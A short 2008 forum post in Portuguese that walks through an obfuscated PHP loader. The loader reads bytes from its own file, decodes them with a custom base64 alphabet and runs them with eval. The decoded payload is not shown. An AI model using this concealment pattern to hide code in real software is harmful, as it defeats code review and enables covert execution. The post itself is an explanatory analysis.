10-02-2008 08:20
Agora sim entendi o script.
A primeira parte do script, entre as tags PHP é o seguinte:
$O000O0O00=fopen($OOO0O0O00,'rb');
while(--$O00O00O00)fgets($O000O0O00,1024);
fgets($O000O0O00,4096);
$OO00O00O0=(base64_decode(strtr(fread($O000O0O00,372), 'RZeU40buNhdC9mLqDGHJkVzx/KBIQ2XrpyoPlnvF5w1ATWgci+M7sftS38aEOjY6=', 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/')));
eval($OO00O00O0);
Ai, no final, o cara usou um return;
Para cancelar todo restante, que não vale de nada para o script ( aparentemente para enganar quem vê )
h4jq9UZq9UZq9UfnQvVFxShnQb+y/tk5hfjrGln9GVjrhMiohMNgh4jqJ7Zq94Oi9e3ohMN...
Ai, todo o script fica assim:
<?php
$OOO0O0O00=__FILE__;
$O00O00O00=__LINE__;
$OO00O0000=13972;
$O000O0O00=fopen($OOO0O0O00,'rb');
while(--$O00O00O00)fgets($O000O0O00,1024);
fgets($O000O0O00,4096);
$OO00O00O0=(base64_decode(strtr(fread($O000O0O00,372), 'RZeU40buNhdC9mLqDGHJkVzx/KBIQ2XrpyoPlnvF5w1ATWgci+M7sftS38aEOjY6=', 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/')));
eval($OO00O00O0);
return;
?>
 |
0 |